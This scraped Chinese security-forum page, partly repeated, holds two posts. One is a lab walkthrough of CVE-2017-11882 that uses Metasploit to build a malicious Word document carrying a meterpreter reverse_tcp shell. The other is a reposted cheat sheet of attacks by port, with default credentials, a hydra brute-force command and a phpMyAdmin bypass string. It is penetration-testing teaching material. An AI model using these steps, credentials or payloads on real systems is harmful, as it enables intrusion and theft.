                     msf exploit(windows/smb/CVE-2017-11882) > set lhost 192.168.1.103
设置payload:
                     msf exploit(windows/smb/CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
最后再设置路径

     4、开始攻击并把生成的doc文档在靶机中打开
                     msf exploit(windows/smb/CVE-2017-11882) > exploit









结语: 
1、我在我的Win10上运行时也成功了,不过因为没有加入免杀技术而出现各种报毒









2、第一次复现漏洞的我收获最大的东西并不是上面这个漏洞,而是整个的复现过程出现的各种问题和找到的解决方法,当我第一次看到这个漏洞的介绍时我觉得这个复现过程是如此的简单,但是实际过程却困难重重,我从装WIN7开始到解决metasploit出现的问题和试验各个版本、不同的环境和不同的复现方式直到开始写这篇文章坐在电脑前就已经有两天了,但我的收获也多且零碎到我无法在这篇文章中全部讲出来,这都需要自己实际操作一遍。
  查看全部
漏洞概述:
     CVE-2017-11882是一个潜伏17年之久的可以通杀office 2003到2016的所有版本的漏洞,攻击者只需要给目标发送一个word文档并且这个文档被打开,那么攻击者就可以肆意进行创建后门等操作。
复现环境:
    windows 7
     kail linux
     office 2016
过程:
      1、开启metasploit
                       root@wuyou:~# msfconsole
     2、搜寻模块并使用
                       msf > search CVE-2017-11882                    
                       msf > use exploit/windows/smb/CVE-2017-11882 
这里我使用了网上找的另一个rb文件
1.png

      3、查看设置并填入
                        msf exploit(windows/smb/CVE-2017-11882) > show options
3.png

查询渗透机IP地址
                     root@wuyou:~# ifconfig
if.png

设置渗透机的IP地址
                     msf exploit(windows/smb/CVE-2017-11882) > set lhost 192.168.1.103
设置payload:
                     msf exploit(windows/smb/CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
最后再设置路径

     4、开始攻击并把生成的doc文档在靶机中打开
                     msf exploit(windows/smb/CVE-2017-11882) > exploit
4.png

222.png


结语: 
1、我在我的Win10上运行时也成功了,不过因为没有加入免杀技术而出现各种报毒
QQ截图20190209173551.png

QQ截图20190209174030.png


2、第一次复现漏洞的我收获最大的东西并不是上面这个漏洞,而是整个的复现过程出现的各种问题和找到的解决方法,当我第一次看到这个漏洞的介绍时我觉得这个复现过程是如此的简单,但是实际过程却困难重重,我从装WIN7开始到解决metasploit出现的问题和试验各个版本、不同的环境和不同的复现方式直到开始写这篇文章坐在电脑前就已经有两天了,但我的收获也多且零碎到我无法在这篇文章中全部讲出来,这都需要自己实际操作一遍。
 

[转帖]端口渗透总结

渗透测试fireant 发表了文章 • 0 个评论 • 136 次浏览 • 2019-01-15 10:48 • 来自相关话题

实例连接大多没用直接去乌云镜像上搜标题
0x00 背景
在前段时间的渗透中,我发现通过端口来进行渗透有时会提升我们的效率,所以才有了这篇文章的诞生;
首先分享一份关于端口及他们对应的服务文件:https://yunpan.cn/cYyNXEpZNYvxQ 访问密码 983e
这里再分享一篇我曾经在百度文库提交的端口渗透文章:请点我
再次看这篇文章发现写的很简单,也只描述了几个常见的端口渗透;而且一般我们都是可以修 改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透 实战对端口的渗透进行更加深入的剖析;
端口渗透过程中我们需要关注几个问题:
1、  端口的banner信息
2、  端口上运行的服务
3、  常见应用的默认端口
当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了吧!我们也可以结合其他的端口扫描工具,比如专门的3389、1433等等的端口扫描工具;服务默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
当然这些端口都可以通过修改来达到欺骗攻击者的目的,但是这就安全了吗?攻击者又可以使用什么攻击方式来攻击这些端口呢?
还需要注明的一点是:很多木马工具也有特定的端口,本文并没有涉及到这块的内容,大家可以自己去收集收集!关于爆破之我见
在对这些端口进行实战讲解时,我需要先阐述一下我对爆破这个方式的一些看法;
爆破:技术最简单,需要的技术能力基本为0,工作效率与网络、硬件等相关,在我看来爆破其实是最强大的攻击方式,特别是结合一些特制的字典,结合社工我们可以在很短的时间达到最大的效果,只不过因为我们的pc或者字典不够强大,所以很多时候我们不能进行一次优秀的爆破攻击;当然现在很多web应用以及服务端口都限制了暴力破解;对于这种做了限制的我们可能就需要利用到本文提到的其他攻击了!
分享一个团队sai总结的字典:请点击
声明:本文总结的都是近两年的常见漏洞,以前的老版漏洞以及危害性不大的漏洞没有总结,望大家谅解!0x01 实战测试文件共享服务端口渗透ftp服务
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)
攻击方式:
爆破:ftp的爆破工具有很多,这里我推荐owasp的Bruter以及msf中ftp爆破模块;
匿名访问:用户名:anonymous  密码:为空或任意邮箱
用户名:FTP            密码:FTP或为空
用户名:USET         密码:pass
当然还有不需要用户名密码直接访问的,一般出现在局域网中;

嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

后门技术:在linux的vsftp某一版本中,存在着一个后门程序,只要在用户名后面加上 就会在6200上打开一个监听Shell,我们可以使用telnet直接连接;详细请点击
远程溢出漏洞:6.10.1 IIS FTP远程溢出漏洞,在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能是攻击者在服务器运行一条非法命令。
跳转攻击:(Bounce Attacks)攻击者发送一个FTP”PORT”命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号。这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。这个文件可能包括根被攻击的服务有关的命令(如SMTP,NNTP等)。由于是命令第三方去连接到一种服务,而不是直接连接,就使得跟踪攻击者变得困难,并且还避开了基于网络地址的访问限制。(注:此种情况小白并没有遇到过,只是总结一下,欢迎大牛指教)
案例分享:
山东电信Serv-U Web客户端弱口令
长虹ftp弱口令导致全网数据泄漏NFS服务
nfs:网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单,详细配置请参考案例分享。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!
默认端口:2049
攻击方式:
未授权访问:未限制IP以及用户权限设置错误
案例分享:
Nfs配置不当导致被入侵
NFS服务全攻略Samba服务
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。
默认端口:137(主要用户NetBIOS Name Service;NetBIOS名称服务)、139(NetBIOS Session Service,主要提供samba服务)
攻击方式:
爆破:弱口令(爆破工具采用hydra)hydra -l username -P
PassFile IP smb
未授权访问:给予public用户高权限
远程代码执行漏洞:CVE-2015-0240等等
案例分享:
Samba远程代码执行漏洞
未授权访问文件系统漏洞LDAP协议
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令
案例分享:
LDAP注入与防御剖析
欧朋LDAP服务匿名访问
使用LDAP查询快速提升域权限远程连接服务端口渗透SSH服务
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;对于SSH服务我们可能使用爆破攻击方式较多。
默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞
案例分享:
安宇创新科技ssh弱口令
宜信贷某站存在OpenSSL漏洞Telnet服务
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;比如cisco、华三,深信服等厂商的设备;我就有很多次通过telnet弱口令控制这些设备;
默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;
案例分享:
大量惠普打印机远程telnet可被查看和操作Windows远程连接
远程桌面连接:作为windows上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;这个时候我们一般的情况分为两种。一种是内网,需要先将目标机3389端口反弹到外网;另一种就是外网,我们可以直接访问;当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;
默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机;请参考VNC服务
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;也
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破:弱口令
认证口令绕过:
拒绝服务攻击:(CVE-2015-5239)
权限提升:(CVE-2013-6886)
案例分享:
广西电信客服服务器使用VNC存在弱口令可直接控制Pcanywhere服务
PyAnywhere服务:一款远控工具,有点类似vnc的功能;这个服务在以前很多黑客发的视频里面都有,利用pcanywhere来进行提权;
默认端口:5632
攻击方式:
提权控制服务:
拒绝服务攻击:
代码执行:请参考
案例分享:
黑龙江物价局多处安全漏洞可能导致服务器沦陷(pcAnywhere提权+密码突破)Web应用服务端口渗透
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;
注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;IIS服务
默认端口:80/81/443
攻击方式:
IIS
PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
短文件名泄漏:这种一般没啥影响
解析漏洞:详细见apache服务
案例分享:
徐州市教育系统大量IIS PUT漏洞
用友软件IIS写权限(PUT)导致可获取webshell控制服务器
国家电网某分站存在iis短文件名漏洞Apache/Tomcat/Nginx/Axis2
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
解析漏洞:请参考
案例分享:
安卓开发平台存在上传漏洞和Apache解析漏洞,成功获取webshell
腾讯分站 Apache 漏洞WebLogic
默认端口:7001
攻击方式:
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest
Congsole后台部署webshell:
Java反序列化:
泄漏源代码/列目录:这个太老了,估计网上都没有了吧!
SSRF窥探内网:央视网SSRF可窥探内网
案列分享:
福建省人力资源和社会保障厅下属某WEBLOGIC弱口令
利用Weblogic进行入侵的一些总结Jboss
默认端口8080;其他端口1098/1099/4444/4445/8080/8009/8083/8093
攻击方式:
爆破:弱口令(爆破jboss系统后台)
远程代码执行:由于配置不当造成
Java反序列化:
案例分享
中华人民共和国民政部JBoss配置不当
JBOSS安全问题总结
中国科学院某处jboss应用漏洞Websphere
默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)
任意文件泄漏:(CVE-2014-0823)
Java反序列化
案例分享:
中国电信某通用型业务系统(Websphere)GetShell漏洞
大汉网络有限公司远程命令执行漏洞(WebSphere案例)GlassFish
默认端口:http 8080;IIOP 3700;控制台4848
攻击方式:
爆破:弱口令(对于控制台)
任意文件读取:
认证绕过:
案例分享:
应用服务器glassfish存在通用任意文件读取漏洞
Oracle GlassFish Server认证绕过Jenkins
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)
未授权访问:
反序列化:
案例分享:
酷6Jenkins系统未授权访问可执行系统命令Resin
默认端口:8080
攻击方式:
目录遍历
远程文件读取
案例分享:
爱奇艺Resin配置漏洞
Resin漏洞利用案例之目录遍历/以金蝶某系统为例Jetty
默认端口:8080
攻击方式:
远程共享缓冲区溢出Lotus
影响的都是一些大型的企业,特别需要注意,经过以前的测试发现弱口令这个问题经常都存在,可能是很多管理员不知道如何去修改(不要打我)。
默认端口:1352
攻击方式:
爆破:弱口令(admin password)控制台
信息泄露
跨站脚本攻击
案例分享:
Lotus Domino WebMail一处越权访问
中电投集团某系统弱口令直达内网涉及/OA系统/内部邮箱/财务系统/人力资源系统
中国某大型金融机构地方业务弱口令导致数万商户信息泄露&amp;访问Lotus Domino后台数据库服务端口渗透
针对所有的数据库攻击方式都存在SQL注入,这里先提出来在下面就不一一写了免得大家说我占篇幅;当然不同的数据库注入技巧可能不一样,特别是NoSQL与传统的SQL数据库不太一样。但是这不是本文需要介绍的重点,后面有时间会写一篇不同数据库的渗透技巧。MySQL数据库
默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@”  密码任意
案例分享:
漏洞分享
和讯网某站点存在mysql注入漏洞
MySQL提权总结MSSQL数据库
默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
案例分享:
MSSQL注射总结
上海安脉综合管理系统mssql注射漏洞
解密MSSQL连接数据库密码
从攻击MSSQL到提权: 使用msf针对mssql的一次完整渗透Oracle数据库
默认端口:1521(数据库端口)、1158(Oracle EMCTL端口)、8080(Oracle XDB数据库)、210(Oracle XDB FTP服务)
攻击方式:
爆破:弱口令
注入攻击;
漏洞攻击;
案例分享:
Oracle盲注结合XXE漏洞远程获取数据PostgreSQL数据库
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括我们kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术  大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
缓冲区溢出:CVE-2014-2669
案例分享:
Hacking postgresql
关于postgresql的那些事MongoDB数据库
MongoDB:NoSQL数据库;攻击方法与其他数据库类似;关于它的安全讲解:请参考
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;github有攻击代码;请点击
案例分享:
MongoDB phpMoAdmin远程代码执行
搜狐MongoDB未授权访问
新浪微米未授权访问
解决MongoDB各种隐患问题Redis数据库
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。Exp:https://yunpan.cn/cYjzHxawFpyVt  访问密码 e547
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
案例分享:
中国铁建网redis+ssh-keygen免认证登录SysBase数据库
默认端口:服务端口5000;监听端口4100;备份端口:4200
攻击方式:
爆破:弱口令
命令注入:
案例分享:
广西自考信息系统Sybase数据库注入
Sybase EAServer命令注入漏洞DB2数据库
默认端口:5000
攻击方式:
安全限制绕过:成功后可执行未授权操作(CVE-2015-1922)
案例分享:
哈尔滨银行主站DB2注入
总结一下:对于数据库,我们得知端口很多时候可以帮助我们去渗透,比如得知mysql的 数据库,我们就可以使用SQL注入进行mof、udf等方式提权;如果是mssql我们就可以使用xp_cmdshell来进行提权;如果是其它的数据 库,我们也可以采用对应的方式;比如各大数据库对应它们的默认口令,版本对应的漏洞!
顺便提一下:很多时候银行企业采用的都是oracle、db2等大型数据库;邮件服务端口渗透SMTP协议
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!
默认端口:25(smtp)、465(smtps)
攻击方式:
爆破:弱口令
未授权访问
案例分享:
腾讯邮箱smtp注册时间限制绕过漏洞
邮件伪造详解
qq邮箱伪造发件地址,容易被钓鱼利用
众多厂商邮件系统配置不当可伪造邮件人POP3协议
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令
未授权访问;
案例分享:
中国联通沃邮箱等部分Android客户端免密码登陆(可获取任意联通用户pop3密码)
中航信邮箱密码泄漏及VPN账号和大量邮箱弱口令导致可内网漫游拿到域控IMAP协议
默认端口:143(imap)、993(imaps)
攻击方式:
爆破:弱口令
配置不当
案例分享:
163邮箱二次验证饶过缺陷
南方周末邮件服务器任意文件读取漏洞网络常见协议端口渗透DNS服务
默认端口:53
攻击方式:
区域传输漏洞
见2中的总结
案例分享:
全球Top1000Websites中存在DNS区域传送漏洞的网站列表
团购王某站DNS域传送漏洞
DNS泛解析与内容投毒DHCP服务
默认端口:67&68、546(DHCP Failover做双机热备的)
攻击方式:
DHCP劫持;
见2中总结
案例分享:
流氓DHCP服务器内网攻击测试SNMP协议
默认端口:161
攻击方式:
爆破:弱口令
案例分享:
snmp弱口令引起的信息泄漏
基于snmp的反射攻击的理论及其实现
华为某服务器SNMP弱口令其他端口渗透Hadoop文件服务
默认端口:请参考
案例分享:
Apache Hadoop远程命令执行
新浪漏洞系列第六弹–大量hadoop应用对外访问Zookeeper服务
zookeeper:分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。详情请参考百度百科
默认端口:2181
攻击方式:
未授权访问;
案例分享:
zookeeper未授权访问漏洞
网上关于这方面的案例暂时不多,但是对于大数据逐渐泛滥的今天,这些漏洞未来会在乌云上出现一大波!Zabbix服务
zabbix:基于Web界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
远程命令执行:
案例分享:
当渗透遇到zabbix–小谈zabbix安全
Zabbix的前台SQL注射漏洞利用
网易zabbix运维不当,导致任意命令执行。(可提权、可内网渗透)elasticsearch服务
elasticsearch:请百度(因为我觉得我解释不清楚)
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;
案例分享:
ElasticSearch 远程代码执行漏洞
elasticsearch 漏洞利用工具memcache服务
默认端口:11211
案例分享:
Memcache安全配置
memcache 未授权访问漏洞Linux R服务
R服务:TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。
默认端口:512(remote process execution);513(remote login a la
telnet);514(cmd)
攻击方式:
使用rlogin直接登录对方系统;RMI
RMI:我们使用这两个端口很少的原因是因为必须是java,而且rmi穿越防火墙并不好穿越;这里我不会去涉及其他的东西,这里提出RMI只是因为在前段时间的java反序列化中,我们的小伙伴Bird写过一个weblogic利用工具,里面涉及到了RMI的一些东西,在有的时候使用socket不能成功时,我们可以使用RMI方式来进行利用;
默认端口:1090()、1099()
攻击方式:
远程命令执行(java反序列化,调用rmi方式执行命令)
这就是RMI的魅力了!
工具下载:请点我Rsync服务
Rsync:类UNIX系统下的数据备份工具(remote sync),属于增量备份;关于它的功能,大家自行百度百科吧,其实上面很多大家也看到了说是端口渗透,其实就是端口对应服务的渗透,服务一般出错就在配置或者版本问题上,rsync也不例外。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问;
本地提权:rsync默认以root运行,利用rsync上传一个文件,只要这个文件具有s权限,我们执行我们的攻击脚本就可以具有root权限。详细请参考和参考二
案例分享:
搜狐几处rsync未授权访问Socket代理
默认端口:1080
Socket代理针对代理来说没有什么漏洞,一般只是在渗透过程中作为我们的代理,进入内网,或者渗透域和林的时候有帮助。这里不做过多描述,但是可以尝试爆破一下代理的用户名和密码,万一运气好能登录,不也~~~~
案例分享:
利用php socket5代理渗透内网0x02 总结两句图解端口渗透端口号端口说明攻击技巧21/22/69ftp/tftp:文件传输协议爆破
嗅探
溢出;后门22ssh:远程连接爆破
OpenSSH;28个退格23telnet:远程连接爆破
嗅探25smtp:邮件服务邮件伪造53DNS:域名系统DNS区域传输
DNS劫持
DNS缓存投毒
DNS欺骗
深度利用:利用DNS隧道技术刺透防火墙67/68dhcp劫持
欺骗110pop3爆破139samba爆破
未授权访问
远程代码执行143imap爆破161snmp爆破389ldap注入攻击
未授权访问512/513/514linux r直接使用rlogin873rsync未授权访问1080socket爆破:进行内网渗透1352lotus爆破:弱口令
信息泄漏:源代码1433mssql爆破:使用系统用户登录
注入攻击1521oracle爆破:TNS
注入攻击2049nfs配置不当2181zookeeper未授权访问3306mysql爆破
拒绝服务
注入3389rdp爆破
Shift后门4848glassfish爆破:控制台弱口令
认证绕过5000sybase/DB2爆破
注入5432postgresql缓冲区溢出
注入攻击
爆破:弱口令5632pcanywhere拒绝服务
代码执行5900vnc爆破:弱口令
认证绕过6379redis未授权访问
爆破:弱口令7001weblogicJava反序列化
控制台弱口令
控制台部署webshell80/443/8080web常见web攻击
控制台爆破
对应服务器版本漏洞8069zabbix远程命令执行9090websphere控制台爆破:控制台弱口令
Java反序列9200/9300elasticsearch远程代码执行11211memcacache未授权访问27017mongodb爆破
未授权访问 查看全部
实例连接大多没用直接去乌云镜像上搜标题
0x00 背景
在前段时间的渗透中,我发现通过端口来进行渗透有时会提升我们的效率,所以才有了这篇文章的诞生;
首先分享一份关于端口及他们对应的服务文件:https://yunpan.cn/cYyNXEpZNYvxQ 访问密码 983e
这里再分享一篇我曾经在百度文库提交的端口渗透文章:请点我
再次看这篇文章发现写的很简单,也只描述了几个常见的端口渗透;而且一般我们都是可以修 改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透 实战对端口的渗透进行更加深入的剖析;
端口渗透过程中我们需要关注几个问题:
1、  端口的banner信息
2、  端口上运行的服务
3、  常见应用的默认端口
当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了吧!我们也可以结合其他的端口扫描工具,比如专门的3389、1433等等的端口扫描工具;服务默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
当然这些端口都可以通过修改来达到欺骗攻击者的目的,但是这就安全了吗?攻击者又可以使用什么攻击方式来攻击这些端口呢?
还需要注明的一点是:很多木马工具也有特定的端口,本文并没有涉及到这块的内容,大家可以自己去收集收集!关于爆破之我见
在对这些端口进行实战讲解时,我需要先阐述一下我对爆破这个方式的一些看法;
爆破:技术最简单,需要的技术能力基本为0,工作效率与网络、硬件等相关,在我看来爆破其实是最强大的攻击方式,特别是结合一些特制的字典,结合社工我们可以在很短的时间达到最大的效果,只不过因为我们的pc或者字典不够强大,所以很多时候我们不能进行一次优秀的爆破攻击;当然现在很多web应用以及服务端口都限制了暴力破解;对于这种做了限制的我们可能就需要利用到本文提到的其他攻击了!
分享一个团队sai总结的字典:请点击
声明:本文总结的都是近两年的常见漏洞,以前的老版漏洞以及危害性不大的漏洞没有总结,望大家谅解!0x01 实战测试文件共享服务端口渗透ftp服务
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)
攻击方式:
爆破:ftp的爆破工具有很多,这里我推荐owasp的Bruter以及msf中ftp爆破模块;
匿名访问:用户名:anonymous  密码:为空或任意邮箱
用户名:FTP            密码:FTP或为空
用户名:USET         密码:pass
当然还有不需要用户名密码直接访问的,一般出现在局域网中;

嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

后门技术:在linux的vsftp某一版本中,存在着一个后门程序,只要在用户名后面加上 就会在6200上打开一个监听Shell,我们可以使用telnet直接连接;详细请点击
远程溢出漏洞:6.10.1 IIS FTP远程溢出漏洞,在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能是攻击者在服务器运行一条非法命令。
跳转攻击:(Bounce Attacks)攻击者发送一个FTP”PORT”命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号。这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。这个文件可能包括根被攻击的服务有关的命令(如SMTP,NNTP等)。由于是命令第三方去连接到一种服务,而不是直接连接,就使得跟踪攻击者变得困难,并且还避开了基于网络地址的访问限制。(注:此种情况小白并没有遇到过,只是总结一下,欢迎大牛指教)
案例分享:
山东电信Serv-U Web客户端弱口令
长虹ftp弱口令导致全网数据泄漏NFS服务
nfs:网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单,详细配置请参考案例分享。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!
默认端口:2049
攻击方式:
未授权访问:未限制IP以及用户权限设置错误
案例分享:
Nfs配置不当导致被入侵
NFS服务全攻略Samba服务
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。
默认端口:137(主要用户NetBIOS Name Service;NetBIOS名称服务)、139(NetBIOS Session Service,主要提供samba服务)
攻击方式:
爆破:弱口令(爆破工具采用hydra)hydra -l username -P
PassFile IP smb
未授权访问:给予public用户高权限
远程代码执行漏洞:CVE-2015-0240等等
案例分享:
Samba远程代码执行漏洞
未授权访问文件系统漏洞LDAP协议
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令
案例分享:
LDAP注入与防御剖析
欧朋LDAP服务匿名访问
使用LDAP查询快速提升域权限远程连接服务端口渗透SSH服务
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;对于SSH服务我们可能使用爆破攻击方式较多。
默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞
案例分享:
安宇创新科技ssh弱口令
宜信贷某站存在OpenSSL漏洞Telnet服务
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;比如cisco、华三,深信服等厂商的设备;我就有很多次通过telnet弱口令控制这些设备;
默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;
案例分享:
大量惠普打印机远程telnet可被查看和操作Windows远程连接
远程桌面连接:作为windows上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;这个时候我们一般的情况分为两种。一种是内网,需要先将目标机3389端口反弹到外网;另一种就是外网,我们可以直接访问;当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;
默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机;请参考VNC服务
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;也
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破:弱口令
认证口令绕过:
拒绝服务攻击:(CVE-2015-5239
权限提升:(CVE-2013-6886)
案例分享:
广西电信客服服务器使用VNC存在弱口令可直接控制Pcanywhere服务
PyAnywhere服务:一款远控工具,有点类似vnc的功能;这个服务在以前很多黑客发的视频里面都有,利用pcanywhere来进行提权;
默认端口:5632
攻击方式:
提权控制服务:
拒绝服务攻击:
代码执行:请参考
案例分享:
黑龙江物价局多处安全漏洞可能导致服务器沦陷(pcAnywhere提权+密码突破)Web应用服务端口渗透
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;
注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;IIS服务
默认端口:80/81/443
攻击方式:
IIS
PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
短文件名泄漏:这种一般没啥影响
解析漏洞:详细见apache服务
案例分享:
徐州市教育系统大量IIS PUT漏洞
用友软件IIS写权限(PUT)导致可获取webshell控制服务器
国家电网某分站存在iis短文件名漏洞Apache/Tomcat/Nginx/Axis2
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
解析漏洞:请参考
案例分享:
安卓开发平台存在上传漏洞和Apache解析漏洞,成功获取webshell
腾讯分站 Apache 漏洞WebLogic
默认端口:7001
攻击方式:
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest
Congsole后台部署webshell:
Java反序列化:
泄漏源代码/列目录:这个太老了,估计网上都没有了吧!
SSRF窥探内网:央视网SSRF可窥探内网
案列分享:
福建省人力资源和社会保障厅下属某WEBLOGIC弱口令
利用Weblogic进行入侵的一些总结Jboss
默认端口8080;其他端口1098/1099/4444/4445/8080/8009/8083/8093
攻击方式:
爆破:弱口令(爆破jboss系统后台)
远程代码执行:由于配置不当造成
Java反序列化:
案例分享
中华人民共和国民政部JBoss配置不当
JBOSS安全问题总结
中国科学院某处jboss应用漏洞Websphere
默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)
任意文件泄漏:(CVE-2014-0823)
Java反序列化
案例分享:
中国电信某通用型业务系统(Websphere)GetShell漏洞
大汉网络有限公司远程命令执行漏洞(WebSphere案例)GlassFish
默认端口:http 8080;IIOP 3700;控制台4848
攻击方式:
爆破:弱口令(对于控制台)
任意文件读取:
认证绕过:
案例分享:
应用服务器glassfish存在通用任意文件读取漏洞
Oracle GlassFish Server认证绕过Jenkins
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)
未授权访问:
反序列化:
案例分享:
酷6Jenkins系统未授权访问可执行系统命令Resin
